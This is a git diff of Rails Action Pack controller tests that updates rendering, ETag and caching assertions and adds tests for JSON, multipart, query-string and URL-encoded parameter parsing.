     assert_template "test/hello_world"
   end
 
+  def test_render_action_hello_world_as_string
+    get :render_action_hello_world_as_string
+    assert_equal "Hello world!", @response.body
+    assert_template "test/hello_world"
+  end
+
   def test_render_action_with_symbol
     get :render_action_hello_world_with_symbol
     assert_template "test/hello_world"
@@ -740,6 +840,11 @@ class RenderTest < Test::Unit::TestCase
     assert_equal "<html>hello world, I'm here!</html>", @response.body
   end
 
+  def test_xhr_with_render_text_and_layout
+    xhr :get, :render_text_hello_world_with_layout
+    assert_equal "<html>hello world, I'm here!</html>", @response.body
+  end
+
   def test_do_with_render_action_and_layout_false
     get :hello_world_with_layout_false
     assert_equal 'Hello world!', @response.body
@@ -750,6 +855,11 @@ class RenderTest < Test::Unit::TestCase
     assert_equal "The secret is in the sauce\n", @response.body
   end
 
+  def test_render_file_as_string_with_instance_variables
+    get :render_file_as_string_with_instance_variables
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
   def test_render_file_not_using_full_path
     get :render_file_not_using_full_path
     assert_equal "The secret is in the sauce\n", @response.body
@@ -760,43 +870,59 @@ class RenderTest < Test::Unit::TestCase
     assert_equal "The secret is in the sauce\n", @response.body
   end
 
+  def test_render_file_using_pathname
+    get :render_file_using_pathname
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
   def test_render_file_with_locals
     get :render_file_with_locals
     assert_equal "The secret is in the sauce\n", @response.body
   end
 
+  def test_render_file_as_string_with_locals
+    get :render_file_as_string_with_locals
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
   def test_render_file_from_template
     get :render_file_from_template
     assert_equal "The secret is in the sauce\n", @response.body
   end
 
+  def test_render_json_nil
+    get :render_json_nil
+    assert_equal 'null', @response.body
+    assert_equal 'application/json', @response.content_type
+  end
+
   def test_render_json
     get :render_json_hello_world
-    assert_equal '{"hello": "world"}', @response.body
+    assert_equal '{"hello":"world"}', @response.body
     assert_equal 'application/json', @response.content_type
   end
 
   def test_render_json_with_callback
     get :render_json_hello_world_with_callback
-    assert_equal 'alert({"hello": "world"})', @response.body
+    assert_equal 'alert({"hello":"world"})', @response.body
     assert_equal 'application/json', @response.content_type
   end
 
   def test_render_json_with_custom_content_type
     get :render_json_with_custom_content_type
-    assert_equal '{"hello": "world"}', @response.body
+    assert_equal '{"hello":"world"}', @response.body
     assert_equal 'text/javascript', @response.content_type
   end
 
   def test_render_symbol_json
     get :render_symbol_json
-    assert_equal '{"hello": "world"}', @response.body
+    assert_equal '{"hello":"world"}', @response.body
     assert_equal 'application/json', @response.content_type
   end
 
   def test_render_json_with_render_to_string
     get :render_json_with_render_to_string
-    assert_equal '{"hello": "partial html"}', @response.body
+    assert_equal '{"hello":"partial html"}', @response.body
     assert_equal 'application/json', @response.content_type
   end
 
@@ -830,16 +956,12 @@ class RenderTest < Test::Unit::TestCase
     assert_equal 'appended', @response.body
   end
 
-  def test_attempt_to_render_with_invalid_arguments
-    assert_raises(ActionController::RenderError) { get :render_invalid_args }
-  end
-
   def test_attempt_to_access_object_method
-    assert_raises(ActionController::UnknownAction, "No action responded to [clone]") { get :clone }
+    assert_raise(ActionController::UnknownAction, "No action responded to [clone]") { get :clone }
   end
 
   def test_private_methods
-    assert_raises(ActionController::UnknownAction, "No action responded to [determine_layout]") { get :determine_layout }
+    assert_raise(ActionController::UnknownAction, "No action responded to [determine_layout]") { get :determine_layout }
   end
 
   def test_access_to_request_in_view
@@ -869,10 +991,13 @@ class RenderTest < Test::Unit::TestCase
   end
 
   def test_render_xml
-    assert_deprecated do
-      get :render_xml_hello
-    end
+    get :render_xml_hello
+    assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+    assert_equal "application/xml", @response.content_type
+  end
 
+  def test_render_xml_as_string_template
+    get :render_xml_hello_as_string_template
     assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
     assert_equal "application/xml", @response.content_type
   end
@@ -888,12 +1013,13 @@ class RenderTest < Test::Unit::TestCase
   end
 
   def test_enum_rjs_test
+    ActiveSupport::SecureRandom.stubs(:base64).returns("asdf")
     get :enum_rjs_test
     body = %{
       $$(".product").each(function(value, index) {
       new Effect.Highlight(element,{});
       new Effect.Highlight(value,{});
-      Sortable.create(value, {onUpdate:function(){new Ajax.Request('/test/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(value)})}});
+      Sortable.create(value, {onUpdate:function(){new Ajax.Request('/test/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(value) + '&authenticity_token=' + encodeURIComponent('asdf')})}});
       new Draggable(value, {});
       });
     }.gsub(/^      /, '').strip
@@ -906,10 +1032,7 @@ class RenderTest < Test::Unit::TestCase
   end
 
   def test_render_xml_with_layouts
-    assert_deprecated do
-      get :builder_layout_test
-    end
-
+    get :builder_layout_test
     assert_equal "<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
   end
 
@@ -949,9 +1072,37 @@ class RenderTest < Test::Unit::TestCase
     assert_equal "Goodbye, Local David", @response.body
   end
 
-  def test_rendering_html_only_partial_within_inline_with_js
-    get :render_html_only_partial_within_inline, :format => :js
-    assert_equal "Hello world partial with only html version", @response.body
+  def test_render_in_an_rjs_template_should_pick_html_templates_when_available
+    [:js, "js"].each do |format|
+      assert_nothing_raised do
+        get :render_implicit_html_template, :format => format
+        assert_equal %(document.write("Hello world\\n");), @response.body
+      end
+    end
+  end
+
+  def test_explicitly_rendering_an_html_template_with_implicit_html_template_renders_should_be_possible_from_an_rjs_template
+    [:js, "js"].each do |format|
+      assert_nothing_raised do
+        get :render_explicit_html_template, :format => format
+        assert_equal %(document.write("Hello world\\n");), @response.body
+      end
+    end
+  end
+
+  def test_should_implicitly_render_html_template_from_xhr_request
+    xhr :get, :render_implicit_html_template_from_xhr_request
+    assert_equal "XHR!\nHello HTML!", @response.body
+  end
+
+  def test_should_render_explicit_html_template_with_html_layout
+    xhr :get, :render_html_explicit_template_and_layout
+    assert_equal "<html>Hello HTML!</html>\n", @response.body
+  end
+
+  def test_should_implicitly_render_js_template_without_layout
+    get :render_implicit_js_template_without_layout, :format => :js
+    assert_no_match /<html>/, @response.body
   end
 
   def test_should_render_formatted_template
@@ -1005,6 +1156,16 @@ class RenderTest < Test::Unit::TestCase
     assert_equal "<html>Hello world!</html>", @response.body
   end
 
+  def test_layout_test_with_different_layout_and_string_action
+    get :layout_test_with_different_layout_and_string_action
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_layout_test_with_different_layout_and_symbol_action
+    get :layout_test_with_different_layout_and_symbol_action
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
   def test_rendering_without_layout
     get :rendering_without_layout
     assert_equal "Hello world!", @response.body
@@ -1032,7 +1193,7 @@ class RenderTest < Test::Unit::TestCase
   end
 
   def test_bad_render_to_string_still_throws_exception
-    assert_raises(ActionView::MissingTemplate) { get :render_to_string_with_exception }
+    assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
   end
 
   def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
@@ -1051,16 +1212,21 @@ class RenderTest < Test::Unit::TestCase
     assert_response :success
   end
 
+  def test_render_with_explicit_string_template
+    get :render_with_explicit_string_template
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
   def test_double_render
-    assert_raises(ActionController::DoubleRenderError) { get :double_render }
+    assert_raise(ActionController::DoubleRenderError) { get :double_render }
   end
 
   def test_double_redirect
-    assert_raises(ActionController::DoubleRenderError) { get :double_redirect }
+    assert_raise(ActionController::DoubleRenderError) { get :double_redirect }
   end
 
   def test_render_and_redirect
-    assert_raises(ActionController::DoubleRenderError) { get :render_and_redirect }
+    assert_raise(ActionController::DoubleRenderError) { get :render_and_redirect }
   end
 
   # specify the one exception to double render rule - render_to_string followed by render
@@ -1092,14 +1258,14 @@ class RenderTest < Test::Unit::TestCase
   def test_update_page
     get :update_page
     assert_template nil
-    assert_equal 'text/javascript; charset=utf-8', @response.headers['type']
+    assert_equal 'text/javascript; charset=utf-8', @response.headers['Content-Type']
     assert_equal 2, @response.body.split($/).length
   end
 
   def test_update_page_with_instance_variables
     get :update_page_with_instance_variables
     assert_template nil
-    assert_equal 'text/javascript; charset=utf-8', @response.headers['type']
+    assert_equal 'text/javascript; charset=utf-8', @response.headers["Content-Type"]
     assert_match /balance/, @response.body
     assert_match /\$37/, @response.body
   end
@@ -1107,7 +1273,7 @@ class RenderTest < Test::Unit::TestCase
   def test_update_page_with_view_method
     get :update_page_with_view_method
     assert_template nil
-    assert_equal 'text/javascript; charset=utf-8', @response.headers['type']
+    assert_equal 'text/javascript; charset=utf-8', @response.headers["Content-Type"]
     assert_match /2 people/, @response.body
   end
 
@@ -1140,13 +1306,18 @@ class RenderTest < Test::Unit::TestCase
 
   def test_head_with_symbolic_status
     get :head_with_symbolic_status, :status => "ok"
-    assert_equal "200 OK", @response.headers["Status"]
+    assert_equal "200 OK", @response.status
     assert_response :ok
 
     get :head_with_symbolic_status, :status => "not_found"
-    assert_equal "404 Not Found", @response.headers["Status"]
+    assert_equal "404 Not Found", @response.status
     assert_response :not_found
 
+    get :head_with_symbolic_status, :status => "no_content"
+    assert_equal "204 No Content", @response.status
+    assert !@response.headers.include?('Content-Length')
+    assert_response :no_content
+
     ActionController::StatusCodes::SYMBOL_TO_STATUS_CODE.each do |status, code|
       get :head_with_symbolic_status, :status => status.to_s
       assert_equal code, @response.response_code
@@ -1307,21 +1478,28 @@ class RenderTest < Test::Unit::TestCase
   def test_partial_collection_with_spacer
     get :partial_collection_with_spacer
     assert_equal "Hello: davidonly partialHello: mary", @response.body
+    assert_template :partial => 'test/_partial_only'
+    assert_template :partial => '_customer'
   end
 
   def test_partial_collection_shorthand_with_locals
     get :partial_collection_shorthand_with_locals
     assert_equal "Bonjour: davidBonjour: mary", @response.body
+    assert_template :partial => 'customers/_customer', :count => 2
+    assert_template :partial => '_completely_fake_and_made_up_template_that_cannot_possibly_be_rendered', :count => 0
   end
 
   def test_partial_collection_shorthand_with_different_types_of_records
     get :partial_collection_shorthand_with_different_types_of_records
     assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
+    assert_template :partial => 'good_customers/_good_customer', :count => 3
+    assert_template :partial => 'bad_customers/_bad_customer', :count => 3
   end
 
   def test_empty_partial_collection
     get :empty_partial_collection
     assert_equal " ", @response.body
+    assert_template :partial => false
   end
 
   def test_partial_with_hash_object
@@ -1329,6 +1507,16 @@ class RenderTest < Test::Unit::TestCase
     assert_equal "Sam\nmaS\n", @response.body
   end
 
+  def test_partial_with_nested_object
+    get :partial_with_nested_object
+    assert_equal "first", @response.body
+  end
+
+  def test_partial_with_nested_object_shorthand
+    get :partial_with_nested_object_shorthand
+    assert_equal "first", @response.body
+  end
+
   def test_hash_partial_collection
     get :partial_hash_collection
     assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
@@ -1347,7 +1535,7 @@ class RenderTest < Test::Unit::TestCase
   end
 
   def test_render_missing_partial_template
-    assert_raises(ActionView::MissingTemplate) do
+    assert_raise(ActionView::MissingTemplate) do
       get :missing_partial
     end
   end
@@ -1363,16 +1551,48 @@ class RenderTest < Test::Unit::TestCase
   end
 end
 
-class EtagRenderTest < Test::Unit::TestCase
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @controller = TestController.new
+class ExpiresInRenderTest < ActionController::TestCase
+  tests TestController
 
+  def setup
+    @request.host = "www.nextangle.com"
+  end
+  
+  def test_expires_in_header
+    get :conditional_hello_with_expires_in
+    assert_equal "max-age=60, private", @response.headers["Cache-Control"]
+  end
+  
+  def test_expires_in_header_with_public
+    get :conditional_hello_with_expires_in_with_public
+    assert_equal "max-age=60, public", @response.headers["Cache-Control"]
+  end
+  
+  def test_expires_in_header_with_additional_headers
+    get :conditional_hello_with_expires_in_with_public_with_more_keys
+    assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
+  end
+  
+  def test_expires_in_old_syntax
+    get :conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
+    assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
+  end
+end
+
+
+class EtagRenderTest < ActionController::TestCase
+  tests TestController
+
+  def setup
     @request.host = "www.nextangle.com"
     @expected_bang_etag = etag_for(expand_key([:foo, 123]))
   end
 
+  def test_render_blank_body_shouldnt_set_etag
+    get :blank_response
+    assert !@response.etag?
+  end
+
   def test_render_200_should_set_etag
     get :render_hello_world_from_variable
     assert_equal etag_for("hello david"), @response.headers['ETag']
@@ -1389,7 +1609,7 @@ class EtagRenderTest < Test::Unit::TestCase
   def test_render_against_etag_request_should_have_no_content_length_when_match
     @request.if_none_match = etag_for("hello david")
     get :render_hello_world_from_variable
-    assert !@response.headers.has_key?("Content-Length")
+    assert !@response.headers.has_key?("Content-Length"), @response.headers['Content-Length']
   end
 
   def test_render_against_etag_request_should_200_when_no_match
@@ -1433,10 +1653,7 @@ class EtagRenderTest < Test::Unit::TestCase
   end
 
   def test_etag_should_govern_renders_with_layouts_too
-    assert_deprecated do
-      get :builder_layout_test
-    end
-
+    get :builder_layout_test
     assert_equal "<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
     assert_equal etag_for("<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n"), @response.headers['ETag']
   end
@@ -1452,6 +1669,16 @@ class EtagRenderTest < Test::Unit::TestCase
     get :conditional_hello_with_bangs
     assert_response :not_modified
   end
+  
+  def test_etag_with_public_true_should_set_header
+    get :conditional_hello_with_public_header
+    assert_equal "public", @response.headers['Cache-Control']
+  end
+  
+  def test_etag_with_public_true_should_set_header_and_retain_other_headers
+    get :conditional_hello_with_public_header_and_expires_at
+    assert_equal "max-age=60, public", @response.headers['Cache-Control']
+  end
 
   protected
     def etag_for(text)
@@ -1463,12 +1690,10 @@ class EtagRenderTest < Test::Unit::TestCase
     end
 end
 
-class LastModifiedRenderTest < Test::Unit::TestCase
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @controller = TestController.new
+class LastModifiedRenderTest < ActionController::TestCase
+  tests TestController
 
+  def setup
     @request.host = "www.nextangle.com"
     @last_modified = Time.now.utc.beginning_of_day.httpdate
   end
@@ -1520,12 +1745,10 @@ class LastModifiedRenderTest < Test::Unit::TestCase
   end
 end
 
-class RenderingLoggingTest < Test::Unit::TestCase
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @controller = TestController.new
+class RenderingLoggingTest < ActionController::TestCase
+  tests TestController
 
+  def setup
     @request.host = "www.nextangle.com"
   end
 
diff --git a/vendor/rails/actionpack/test/controller/request/json_params_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/json_params_parsing_test.rb
new file mode 100644
index 00000000..db6cf7b3
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/request/json_params_parsing_test.rb
@@ -0,0 +1,65 @@
+require 'abstract_unit'
+
+class JsonParamsParsingTest < ActionController::IntegrationTest
+  class TestController < ActionController::Base
+    class << self
+      attr_accessor :last_request_parameters
+    end
+
+    def parse
+      self.class.last_request_parameters = request.request_parameters
+      head :ok
+    end
+  end
+
+  def teardown
+    TestController.last_request_parameters = nil
+  end
+
+  test "parses json params for application json" do
+    assert_parses(
+      {"person" => {"name" => "David"}},
+      "{\"person\": {\"name\": \"David\"}}", { 'CONTENT_TYPE' => 'application/json' }
+    )
+  end
+
+  test "parses json params for application jsonrequest" do
+    assert_parses(
+      {"person" => {"name" => "David"}},
+      "{\"person\": {\"name\": \"David\"}}", { 'CONTENT_TYPE' => 'application/jsonrequest' }
+    )
+  end
+
+  test "logs error if parsing unsuccessful" do
+    with_test_routing do
+      begin
+        $stderr = StringIO.new
+        json = "[\"person]\": {\"name\": \"David\"}}"
+        post "/parse", json, {'CONTENT_TYPE' => 'application/json'}
+        assert_response :error
+        $stderr.rewind && err = $stderr.read
+        assert err =~ /Error occurred while parsing request parameters/
+      ensure
+        $stderr = STDERR
+      end
+    end
+  end
+
+  private
+    def assert_parses(expected, actual, headers = {})
+      with_test_routing do
+        post "/parse", actual, headers
+        assert_response :ok
+        assert_equal(expected, TestController.last_request_parameters)
+      end
+    end
+
+    def with_test_routing
+      with_routing do |set|
+        set.draw do |map|
+          map.connect ':action', :controller => "json_params_parsing_test/test"
+        end
+        yield
+      end
+    end
+end
diff --git a/vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb
new file mode 100644
index 00000000..cc81a87c
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb
@@ -0,0 +1,162 @@
+require 'abstract_unit'
+
+class MultipartParamsParsingTest < ActionController::IntegrationTest
+  class TestController < ActionController::Base
+    class << self
+      attr_accessor :last_request_parameters
+    end
+
+    def parse
+      self.class.last_request_parameters = request.request_parameters
+      head :ok
+    end
+
+    def read
+      render :text => "File: #{params[:uploaded_data].read}"
+    end
+  end
+
+  FIXTURE_PATH = File.dirname(__FILE__) + '/../../fixtures/multipart'
+
+  def teardown
+    TestController.last_request_parameters = nil
+  end
+
+  test "parses single parameter" do
+    assert_equal({ 'foo' => 'bar' }, parse_multipart('single_parameter'))
+  end
+
+  test "parses bracketed parameters" do
+    assert_equal({ 'foo' => { 'baz' => 'bar'}}, parse_multipart('bracketed_param'))
+  end
+
+  test "parses text file" do
+    params = parse_multipart('text_file')
+    assert_equal %w(file foo), params.keys.sort
+    assert_equal 'bar', params['foo']
+
+    file = params['file']
+    assert_kind_of Tempfile, file
+    assert_equal 'file.txt', file.original_filename
+    assert_equal "text/plain", file.content_type
+    assert_equal 'contents', file.read
+  end
+
+  test "parses boundary problem file" do
+    params = parse_multipart('boundary_problem_file')
+    assert_equal %w(file foo), params.keys.sort
+
+    file = params['file']
+    foo  = params['foo']
+
+    assert_kind_of Tempfile, file
+
+    assert_equal 'file.txt', file.original_filename
+    assert_equal "text/plain", file.content_type
+
+    assert_equal 'bar', foo
+  end
+
+  test "parses large text file" do
+    params = parse_multipart('large_text_file')
+    assert_equal %w(file foo), params.keys.sort
+    assert_equal 'bar', params['foo']
+
+    file = params['file']
+
+    assert_kind_of Tempfile, file
+
+    assert_equal 'file.txt', file.original_filename
+    assert_equal "text/plain", file.content_type
+    assert ('a' * 20480) == file.read
+  end
+
+  test "parses binary file" do
+    params = parse_multipart('binary_file')
+    assert_equal %w(file flowers foo), params.keys.sort
+    assert_equal 'bar', params['foo']
+
+    file = params['file']
+    assert_kind_of Tempfile, file
+    assert_equal 'file.csv', file.original_filename
+    assert_nil file.content_type
+    assert_equal 'contents', file.read
+
+    file = params['flowers']
+    assert_kind_of Tempfile, file
+    assert_equal 'flowers.jpg', file.original_filename
+    assert_equal "image/jpeg", file.content_type
+    assert_equal 19512, file.size
+  end
+
+  test "parses mixed files" do
+    params = parse_multipart('mixed_files')
+    assert_equal %w(files foo), params.keys.sort
+    assert_equal 'bar', params['foo']
+
+    # Ruby CGI doesn't handle multipart/mixed for us.
+    files = params['files']
+    assert_kind_of Tempfile, files
+    files.force_encoding('ASCII-8BIT') if files.respond_to?(:force_encoding)
+    assert_equal 19756, files.size
+  end
+
+  test "does not create tempfile if no file has been selected" do
+    params = parse_multipart('none')
+    assert_equal %w(submit-name), params.keys.sort
+    assert_equal 'Larry', params['submit-name']
+    assert_equal nil, params['files']
+  end
+
+  test "parses empty upload file" do
+    params = parse_multipart('empty')
+    assert_equal %w(files submit-name), params.keys.sort
+    assert_equal 'Larry', params['submit-name']
+    assert params['files']
+    assert_equal "", params['files'].read
+  end
+
+  test "uploads and reads binary file" do
+    with_test_routing do
+      fixture = FIXTURE_PATH + "/mona_lisa.jpg"
+      params = { :uploaded_data => fixture_file_upload(fixture, "image/jpg") }
+      post '/read', params
+      expected_length = 'File: '.length + File.size(fixture)
+      assert_equal expected_length, response.content_length
+    end
+  end
+
+  test "uploads and reads file" do
+    with_test_routing do
+      post '/read', :uploaded_data => fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain")
+      assert_equal "File: Hello", response.body
+    end
+  end
+
+  private
+    def fixture(name)
+      File.open(File.join(FIXTURE_PATH, name), 'rb') do |file|
+        { "rack.input" => file.read,
+          "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x",
+          "CONTENT_LENGTH" => file.stat.size.to_s }
+      end
+    end
+
+    def parse_multipart(name)
+      with_test_routing do
+        headers = fixture(name)
+        post "/parse", headers.delete("rack.input"), headers
+        assert_response :ok
+        TestController.last_request_parameters
+      end
+    end
+
+    def with_test_routing
+      with_routing do |set|
+        set.draw do |map|
+          map.connect ':action', :controller => "multipart_params_parsing_test/test"
+        end
+        yield
+      end
+    end
+end
diff --git a/vendor/rails/actionpack/test/controller/request/query_string_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/query_string_parsing_test.rb
new file mode 100644
index 00000000..a31e326d
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/request/query_string_parsing_test.rb
@@ -0,0 +1,120 @@
+require 'abstract_unit'
+
+class QueryStringParsingTest < ActionController::IntegrationTest
+  class TestController < ActionController::Base
+    class << self
+      attr_accessor :last_query_parameters
+    end
+
+    def parse
+      self.class.last_query_parameters = request.query_parameters
+      head :ok
+    end
+  end
+
+  def teardown
+    TestController.last_query_parameters = nil
+  end
+
+  test "query string" do
+    assert_parses(
+      {"action" => "create_customer", "full_name" => "David Heinemeier Hansson", "customerId" => "1"},
+      "action=create_customer&full_name=David%20Heinemeier%20Hansson&customerId=1"
+    )
+  end
+
+  test "deep query string" do
+    assert_parses(
+      {'x' => {'y' => {'z' => '10'}}},
+      "x[y][z]=10"
+    )
+  end
+
+  test "deep query string with array" do
+    assert_parses({'x' => {'y' => {'z' => ['10']}}}, 'x[y][z][]=10')
+    assert_parses({'x' => {'y' => {'z' => ['10', '5']}}}, 'x[y][z][]=10&x[y][z][]=5')
+  end
+
+  test "deep query string with array of hash" do
+    assert_parses({'x' => {'y' => [{'z' => '10'}]}}, 'x[y][][z]=10')
+    assert_parses({'x' => {'y' => [{'z' => '10', 'w' => '10'}]}}, 'x[y][][z]=10&x[y][][w]=10')
+    assert_parses({'x' => {'y' => [{'z' => '10', 'v' => {'w' => '10'}}]}}, 'x[y][][z]=10&x[y][][v][w]=10')
+  end
+
+  test "deep query string with array of hashes with one pair" do
+    assert_parses({'x' => {'y' => [{'z' => '10'}, {'z' => '20'}]}}, 'x[y][][z]=10&x[y][][z]=20')
+  end
+
+  test "deep query string with array of hashes with multiple pairs" do
+    assert_parses(
+      {'x' => {'y' => [{'z' => '10', 'w' => 'a'}, {'z' => '20', 'w' => 'b'}]}},
+      'x[y][][z]=10&x[y][][w]=a&x[y][][z]=20&x[y][][w]=b'
+    )
+  end
+
+  test "query string with nil" do
+    assert_parses(
+      { "action" => "create_customer", "full_name" => ''},
+      "action=create_customer&full_name="
+    )
+  end
+
+  test "query string with array" do
+    assert_parses(
+      { "action" => "create_customer", "selected" => ["1", "2", "3"]},
+      "action=create_customer&selected[]=1&selected[]=2&selected[]=3"
+    )
+  end
+
+  test "query string with amps" do
+    assert_parses(
+      { "action" => "create_customer", "name" => "Don't & Does"},
+      "action=create_customer&name=Don%27t+%26+Does"
+    )
+  end
+
+  test "query string with many equal" do
+    assert_parses(
+      { "action" => "create_customer", "full_name" => "abc=def=ghi"},
+      "action=create_customer&full_name=abc=def=ghi"
+    )
+  end
+
+  test "query string without equal" do
+    assert_parses({ "action" => nil }, "action")
+  end
+
+  test "query string with empty key" do
+    assert_parses(
+      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
+      "action=create_customer&full_name=David%20Heinemeier%20Hansson&=Save"
+    )
+  end
+
+  test "query string with many ampersands" do
+    assert_parses(
+      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson"},
+      "&action=create_customer&&&full_name=David%20Heinemeier%20Hansson"
+    )
+  end
+
+  test "unbalanced query string with array" do
+    assert_parses(
+      {'location' => ["1", "2"], 'age_group' => ["2"]},
+      "location[]=1&location[]=2&age_group[]=2"
+    )
+  end
+
+  private
+    def assert_parses(expected, actual)
+      with_routing do |set|
+        set.draw do |map|
+          map.connect ':action', :controller => "query_string_parsing_test/test"
+        end
+
+        get "/parse", actual
+        assert_response :ok
+        assert_equal(expected, TestController.last_query_parameters)
+      end
+    end
+end
diff --git a/vendor/rails/actionpack/test/controller/request/test_request_test.rb b/vendor/rails/actionpack/test/controller/request/test_request_test.rb
new file mode 100644
index 00000000..81551b4b
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/request/test_request_test.rb
@@ -0,0 +1,35 @@
+require 'abstract_unit'
+require 'stringio'
+
+class ActionController::TestRequestTest < ActiveSupport::TestCase
+
+  def setup
+    @request = ActionController::TestRequest.new
+  end
+
+  def test_test_request_has_session_options_initialized
+    assert @request.session_options
+  end
+  
+  Rack::Session::Abstract::ID::DEFAULT_OPTIONS.each_key do |option|
+    test "test_rack_default_session_options_#{option}_exists_in_session_options_and_is_default" do
+      assert_equal(Rack::Session::Abstract::ID::DEFAULT_OPTIONS[option], 
+                   @request.session_options[option], 
+                   "Missing rack session default option #{option} in request.session_options")
+    end
+    test "test_rack_default_session_options_#{option}_exists_in_session_options" do
+      assert(@request.session_options.has_key?(option), 
+                   "Missing rack session option #{option} in request.session_options")
+    end
+  end
+  
+  def test_session_id_exists_by_default
+    assert_not_nil(@request.session_options[:id])
+  end
+  
+  def test_session_id_different_on_each_call
+    prev_id = 
+    assert_not_equal(@request.session_options[:id], ActionController::TestRequest.new.session_options[:id])
+  end
+  
+end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/controller/request/url_encoded_params_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/url_encoded_params_parsing_test.rb
new file mode 100644
index 00000000..7167cdaf
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/request/url_encoded_params_parsing_test.rb
@@ -0,0 +1,146 @@
+require 'abstract_unit'
+
+class UrlEncodedParamsParsingTest < ActionController::IntegrationTest
+  class TestController < ActionController::Base
+    class << self
+      attr_accessor :last_request_parameters, :last_request_type
+    end
+
+    def parse
+      self.class.last_request_parameters = request.request_parameters
+      head :ok
+    end
+  end
+
+  def teardown
+    TestController.last_request_parameters = nil
+  end
+
+  test "parses unbalanced query string with array" do
+    assert_parses(
+       {'location' => ["1", "2"], 'age_group' => ["2"]},
+      "location[]=1&location[]=2&age_group[]=2"
+    )
+  end
+
+  test "parses nested hash" do
+    query = [
+      "note[viewers][viewer][][type]=User",
+      "note[viewers][viewer][][id]=1",
+      "note[viewers][viewer][][type]=Group",
+      "note[viewers][viewer][][id]=2"
+    ].join("&")
+
+    expected = { "note" => { "viewers"=>{"viewer"=>[{ "id"=>"1", "type"=>"User"}, {"type"=>"Group", "id"=>"2"} ]} } }
+    assert_parses(expected, query)
+  end
+
+  test "parses more complex nesting" do
+    query = [
+      "customers[boston][first][name]=David",
+      "customers[boston][first][url]=http://David",
+      "customers[boston][second][name]=Allan",
+      "customers[boston][second][url]=http://Allan",
+      "something_else=blah",
+      "something_nil=",
+      "something_empty=",
+      "products[first]=Apple Computer",
+      "products[second]=Pc",
+      "=Save"
+    ].join("&")
+
+    expected =  {
+      "customers" => {
+        "boston" => {
+          "first" => {
+            "name" => "David",
+            "url" => "http://David"
+          },
+          "second" => {
+            "name" => "Allan",
+            "url" => "http://Allan"
+          }
+        }
+      },
+      "something_else" => "blah",
+      "something_empty" => "",
+      "something_nil" => "",
+      "products" => {
+        "first" => "Apple Computer",
+        "second" => "Pc"
+      }
+    }
+
+    assert_parses expected, query
+  end
+
+  test "parses params with array" do
+    query = "selected[]=1&selected[]=2&selected[]=3"
+    expected = { "selected" => [ "1", "2", "3" ] }
+    assert_parses expected, query
+  end
+
+  test "parses params with nil key" do
+    query    = "=&test2=value1"
+    expected = { "test2" => "value1" }
+    assert_parses expected, query
+  end
+
+  test "parses params with array prefix and hashes" do
+    query    = "a[][b][c]=d"
+    expected = {"a" => [{"b" => {"c" => "d"}}]}
+    assert_parses expected, query
+  end
+
+  test "parses params with complex nesting" do
+    query    = "a[][b][c][][d][]=e"
+    expected = {"a" => [{"b" => {"c" => [{"d" => ["e"]}]}}]}
+    assert_parses expected, query
+  end
+
+  test "parses params with file path" do
+    query = [
+      "customers[boston][first][name]=David",
+      "something_else=blah",
+      "logo=#{File.expand_path(__FILE__)}"
+    ].join("&")
+
+    expected = {
+      "customers" => {
+        "boston" => {
+          "first" => {
+            "name" => "David"
+          }
+        }
+      },
+      "something_else" => "blah",
+      "logo" => File.expand_path(__FILE__),
+    }
+
+    assert_parses expected, query
+  end
+
+  test "parses params with Safari 2 trailing null character" do
+    query = "selected[]=1&selected[]=2&selected[]=3\0"
+    expected = { "selected" => [ "1", "2", "3" ] }
+    assert_parses expected, query
+  end
+
+  private
+    def with_test_routing
+      with_routing do |set|
+        set.draw do |map|
+          map.connect ':action', :controller => "url_encoded_params_parsing_test/test"
+        end
+        yield
+      end
+    end
+
+    def assert_parses(expected, actual)
+      with_test_routing do
+        post "/parse", actual
+        assert_response :ok
+        assert_equal(expected, TestController.last_request_parameters)
+      end
+    end
+end
diff --git a/vendor/rails/actionpack/test/controller/request/xml_params_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/xml_params_parsing_test.rb
new file mode 100644
index 00000000..170cf77e
--- /dev/null
